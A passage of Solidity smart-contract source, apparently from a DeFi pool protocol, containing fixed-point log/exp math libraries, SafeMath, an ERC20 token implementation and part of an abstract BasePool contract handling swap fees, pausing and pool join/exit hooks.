where the nth term is (x^n / n!). // The first term is simply x. term = x; seriesSum += term; // Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number, // multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not. term = ((term * x) / ONE_20) / 2; seriesSum += term; term = ((term * x) / ONE_20) / 3; seriesSum += term; term = ((term * x) / ONE_20) / 4; seriesSum += term; term = ((term * x) / ONE_20) / 5; seriesSum += term; term = ((term * x) / ONE_20) / 6; seriesSum += term; term = ((term * x) / ONE_20) / 7; seriesSum += term; term = ((term * x) / ONE_20) / 8; seriesSum += term; term = ((term * x) / ONE_20) / 9; seriesSum += term; term = ((term * x) / ONE_20) / 10; seriesSum += term; term = ((term * x) / ONE_20) / 11; seriesSum += term; term = ((term * x) / ONE_20) / 12; seriesSum += term; // 12 Taylor terms are sufficient for 18 decimal precision. // We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor // approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply // all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication), // and then drop two digits to return an 18 decimal value. return (((product * seriesSum) / ONE_20) * firstAN) / 100; } /** * @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument. */ function log(int256 arg, int256 base) internal pure returns (int256) { // This performs a simple base change: log(arg, base) = ln(arg) / ln(base). // Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by // upscaling. int256 logBase; if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) { logBase = _ln_36(base); } else { logBase = _ln(base) * ONE_18; } int256 logArg; if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) { logArg = _ln_36(arg); } else { logArg = _ln(arg) * ONE_18; } // When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places return (logArg * ONE_18) / logBase; } /** * @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function ln(int256 a) internal pure returns (int256) { // The real natural logarithm is not defined for negative numbers or zero. _require(a > 0, Errors.OUT_OF_BOUNDS); if (LN_36_LOWER_BOUND < a && a < LN_36_UPPER_BOUND) { return _ln_36(a) / ONE_18; } else { return _ln(a); } } /** * @dev Internal natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function _ln(int256 a) private pure returns (int256) { if (a < ONE_18) { // Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less // than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call. // Fixed point division requires multiplying by ONE_18. return (-_ln((ONE_18 * ONE_18) / a)); } // First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which // we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is, // ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot // be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a. // At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this // decomposition, which will be lower than the smallest a_n. // ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1. // We mutate a by subtracting a_n, making it the remainder of the decomposition. // For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point // numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by // ONE_18 to convert them to fixed point. // For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide // by it and compute the accumulated sum. int256 sum = 0; if (a >= a0 * ONE_18) { a /= a0; // Integer, not fixed point division sum += x0; } if (a >= a1 * ONE_18) { a /= a1; // Integer, not fixed point division sum += x1; } // All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format. sum *= 100; a *= 100; // Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them. if (a >= a2) { a = (a * ONE_20) / a2; sum += x2; } if (a >= a3) { a = (a * ONE_20) / a3; sum += x3; } if (a >= a4) { a = (a * ONE_20) / a4; sum += x4; } if (a >= a5) { a = (a * ONE_20) / a5; sum += x5; } if (a >= a6) { a = (a * ONE_20) / a6; sum += x6; } if (a >= a7) { a = (a * ONE_20) / a7; sum += x7; } if (a >= a8) { a = (a * ONE_20) / a8; sum += x8; } if (a >= a9) { a = (a * ONE_20) / a9; sum += x9; } if (a >= a10) { a = (a * ONE_20) / a10; sum += x10; } if (a >= a11) { a = (a * ONE_20) / a11; sum += x11; } // a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series // that converges rapidly for values of `a` close to one - the same one used in ln_36. // Let z = (a - 1) / (a + 1). // ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires // division by ONE_20. int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20); int256 z_squared = (z * z) / ONE_20; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_20; seriesSum += num / 3; num = (num * z_squared) / ONE_20; seriesSum += num / 5; num = (num * z_squared) / ONE_20; seriesSum += num / 7; num = (num * z_squared) / ONE_20; seriesSum += num / 9; num = (num * z_squared) / ONE_20; seriesSum += num / 11; // 6 Taylor terms are sufficient for 36 decimal precision. // Finally, we multiply by 2 (non fixed point) to compute ln(remainder) seriesSum *= 2; // We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both // with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal // value. return (sum + seriesSum) / 100; } /** * @dev Intrnal high precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument, * for x close to one. * * Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND. */ function _ln_36(int256 x) private pure returns (int256) { // Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits // worthwhile. // First, we transform x to a 36 digit fixed point value. x *= ONE_18; // We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1). // ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires // division by ONE_36. int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36); int256 z_squared = (z * z) / ONE_36; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_36; seriesSum += num / 3; num = (num * z_squared) / ONE_36; seriesSum += num / 5; num = (num * z_squared) / ONE_36; seriesSum += num / 7; num = (num * z_squared) / ONE_36; seriesSum += num / 9; num = (num * z_squared) / ONE_36; seriesSum += num / 11; num = (num * z_squared) / ONE_36; seriesSum += num / 13; num = (num * z_squared) / ONE_36; seriesSum += num / 15; // 8 Taylor terms are sufficient for 36 decimal precision. // All that remains is multiplying by 2 (non fixed point). return seriesSum * 2; } } /* solhint-disable private-vars-leading-underscore */ library FixedPoint { uint256 internal constant ONE = 1e18; // 18 decimal places uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14) // Minimum base for the power function when the exponent is 'free' (larger than ONE). uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18; function add(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } function mulDown(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); return product / ONE; } function mulUp(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); if (product == 0) { return 0; } else { // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((product - 1) / ONE) + 1; } } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow return aInflated / b; } } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((aInflated - 1) / b) + 1; } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above * the true value (that is, the error function expected - actual is always positive). */ function powDown(uint256 x, uint256 y) internal pure returns (uint256) { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); if (raw < maxError) { return 0; } else { return sub(raw, maxError); } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below * the true value (that is, the error function expected - actual is always negative). */ function powUp(uint256 x, uint256 y) internal pure returns (uint256) { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); return add(raw, maxError); } /** * @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1. * * Useful when computing the complement for values with some level of relative error, as it strips this error and * prevents intermediate negative values. */ function complement(uint256 x) internal pure returns (uint256) { return (x < ONE) ? (ONE - x) : 0; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, Errors.SUB_OVERFLOW); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) { _require(b <= a, errorCode); uint256 c = a - b; return c; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS); _require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { _require(account != address(0), Errors.ERC20_MINT_TO_ZERO_ADDRESS); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { _require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_ALLOWANCE); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _require(owner != address(0), Errors.ERC20_APPROVE_FROM_ZERO_ADDRESS); _require(spender != address(0), Errors.ERC20_APPROVE_TO_ZERO_ADDRESS); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // This contract relies on tons of immutable state variables to perform efficient lookup, without resorting to storage // reads. Because immutable arrays are not supported, we instead declare a fixed set of state variables plus a total // count, resulting in a large number of state variables. // solhint-disable max-states-count /** * @dev Reference implementation for the base layer of a Pool contract that manages a single Pool with an immutable set * of registered tokens, no Asset Managers, an admin-controlled swap fee percentage, and an emergency pause mechanism. * * Note that neither swap fees nor the pause mechanism are used by this contract. They are passed through so that * derived contracts can use them via the `_addSwapFeeAmount` and `_subtractSwapFeeAmount` functions, and the * `whenNotPaused` modifier. * * No admin permissions are checked here: instead, this contract delegates that to the Vault's own Authorizer. * * Because this contract doesn't implement the swap hooks, derived contracts should generally inherit from * BaseGeneralPool or BaseMinimalSwapInfoPool. Otherwise, subclasses must inherit from the corresponding interfaces * and implement the swap callbacks themselves. */ abstract contract BasePool is IBasePool, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable { using FixedPoint for uint256; uint256 private constant _MIN_TOKENS = 2; uint256 private constant _MAX_TOKENS = 8; // 1e18 corresponds to 1.0, or a 100% fee uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001% uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10% uint256 private constant _MINIMUM_BPT = 1e6; uint256 internal _swapFeePercentage; IVault private immutable _vault; bytes32 private immutable _poolId; uint256 private immutable _totalTokens; IERC20 internal immutable _token0; IERC20 internal immutable _token1; IERC20 internal immutable _token2; IERC20 internal immutable _token3; IERC20 internal immutable _token4; IERC20 internal immutable _token5; IERC20 internal immutable _token6; IERC20 internal immutable _token7; // All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will // not change throughout its lifetime, and store the corresponding scaling factor for each at construction time. // These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported. uint256 internal immutable _scalingFactor0; uint256 internal immutable _scalingFactor1; uint256 internal immutable _scalingFactor2; uint256 internal immutable _scalingFactor3; uint256 internal immutable _scalingFactor4; uint256 internal immutable _scalingFactor5; uint256 internal immutable _scalingFactor6; uint256 internal immutable _scalingFactor7; event SwapFeePercentageChanged(uint256 swapFeePercentage); constructor( IVault vault, IVault.PoolSpecialization specialization, string memory name, string memory symbol, IERC20[] memory tokens, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) // Base Pools are expected to be deployed using factories. By using the factory address as the action // disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for // simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in // any Pool created by the same factory), while still making action identifiers unique among different factories // if the selectors match, preventing accidental errors. Authentication(bytes32(uint256(msg.sender))) BalancerPoolToken(name, symbol) BasePoolAuthorization(owner) TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration) { _require(tokens.length >= _MIN_TOKENS, Errors.MIN_TOKENS); _require(tokens.length <= _MAX_TOKENS, Errors.MAX_TOKENS); // The Vault only requires the token list to be ordered for the Two Token Pools specialization. However, // to make the developer experience consistent, we are requiring this condition for all the native pools. // Also, since these Pools will register tokens only once, we can ensure the Pool tokens will follow the same // order. We rely on this property to make Pools simpler to write, as it lets us assume that the // order of token-specific parameters (such as token weights) will not change. InputHelpers.ensureArrayIsSorted(tokens); _setSwapFeePercentage(swapFeePercentage); bytes32 poolId = vault.registerPool(specialization); // Pass in zero addresses for Asset Managers vault.registerTokens(poolId, tokens, new address[](tokens.length)); // Set immutable state variables - these cannot be read from during construction _vault = vault; _poolId = poolId; _totalTokens = tokens.length; // Immutable variables cannot be initialized inside an if statement, so we must do conditional assignments _token0 = tokens.length > 0 ? tokens[0] : IERC20(0); _token1 = tokens.length > 1 ? tokens[1] : IERC20(0); _token2 = tokens.length > 2 ? tokens[2] : IERC20(0); _token3 = tokens.length > 3 ? tokens[3] : IERC20(0); _token4 = tokens.length > 4 ? tokens[4] : IERC20(0); _token5 = tokens.length > 5 ? tokens[5] : IERC20(0); _token6 = tokens.length > 6 ? tokens[6] : IERC20(0); _token7 = tokens.length > 7 ? tokens[7] : IERC20(0); _scalingFactor0 = tokens.length > 0 ? _computeScalingFactor(tokens[0]) : 0; _scalingFactor1 = tokens.length > 1 ? _computeScalingFactor(tokens[1]) : 0; _scalingFactor2 = tokens.length > 2 ? _computeScalingFactor(tokens[2]) : 0; _scalingFactor3 = tokens.length > 3 ? _computeScalingFactor(tokens[3]) : 0; _scalingFactor4 = tokens.length > 4 ? _computeScalingFactor(tokens[4]) : 0; _scalingFactor5 = tokens.length > 5 ? _computeScalingFactor(tokens[5]) : 0; _scalingFactor6 = tokens.length > 6 ? _computeScalingFactor(tokens[6]) : 0; _scalingFactor7 = tokens.length > 7 ? _computeScalingFactor(tokens[7]) : 0; } // Getters / Setters function getVault() public view returns (IVault) { return _vault; } function getPoolId() public view returns (bytes32) { return _poolId; } function _getTotalTokens() internal view returns (uint256) { return _totalTokens; } function getSwapFeePercentage() external view returns (uint256) { return _swapFeePercentage; } // Caller must be approved by the Vault's Authorizer function setSwapFeePercentage(uint256 swapFeePercentage) external virtual authenticate whenNotPaused { _setSwapFeePercentage(swapFeePercentage); } function _setSwapFeePercentage(uint256 swapFeePercentage) private { _require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE); _require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE); _swapFeePercentage = swapFeePercentage; emit SwapFeePercentageChanged(swapFeePercentage); } // Caller must be approved by the Vault's Authorizer function setPaused(bool paused) external authenticate { _setPaused(paused); } // Join / Exit Hooks modifier onlyVault(bytes32 poolId) { _require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT); _require(poolId == getPoolId(), Errors.INVALID_POOL_ID); _; } function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); if (totalSupply() == 0) { (uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool(poolId, sender, recipient, userData); // On initialization, we lock _MINIMUM_BPT by minting it for the zero address. This BPT acts as a minimum // as it will never be burned, which reduces potential issues with rounding, and also prevents the Pool from // ever being fully drained. _require(bptAmountOut >= _MINIMUM_BPT, Errors.MINIMUM_BPT); _mintPoolTokens(address(0), _MINIMUM_BPT); _mintPoolTokens(recipient, bptAmountOut - _MINIMUM_BPT); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); return (amountsIn, new uint256[](_getTotalTokens())); } else { _upscaleArray(balances, scalingFactors); (uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) = _onJoinPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it. _mintPoolTokens(recipient, bptAmountOut); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); // dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsIn, dueProtocolFeeAmounts); } } function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onExitPool`, which may mutate it. _burnPoolTokens(sender, bptAmountIn); // Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(amountsOut, scalingFactors); _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsOut, dueProtocolFeeAmounts); } // Query functions /** * @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the * Vault with the same arguments, along with the number of tokens `sender` would have to supply. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryJoin( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptOut, uint256[] memory amountsIn) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onJoinPool, _downscaleUpArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptOut, amountsIn); } /** * @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the * Vault with the same arguments, along with the number of tokens `recipient` would receive. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryExit( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptIn, uint256[] memory amountsOut) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onExitPool, _downscaleDownArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptIn, amountsOut); } // Internal hooks to be overridden by derived contracts - all token amounts (except BPT) in these interfaces are // upscaled. /** * @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero. * * Returns the amount of BPT to mint, and the token amounts the Pool will receive in return. * * Minted BPT will be sent to `recipient`, except for _MINIMUM_BPT, which will be deducted from this amount and sent * to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP from * ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire Pool's * lifetime. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. */ function _onInitializePool( bytes32 poolId, address sender, address recipient, bytes memory userData ) internal virtual returns (uint256 bptAmountOut, uint256[] memory amountsIn); /** * @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`). * * Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of * tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * Minted BPT will be sent to `recipient`. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual returns ( uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts ); /** * @dev 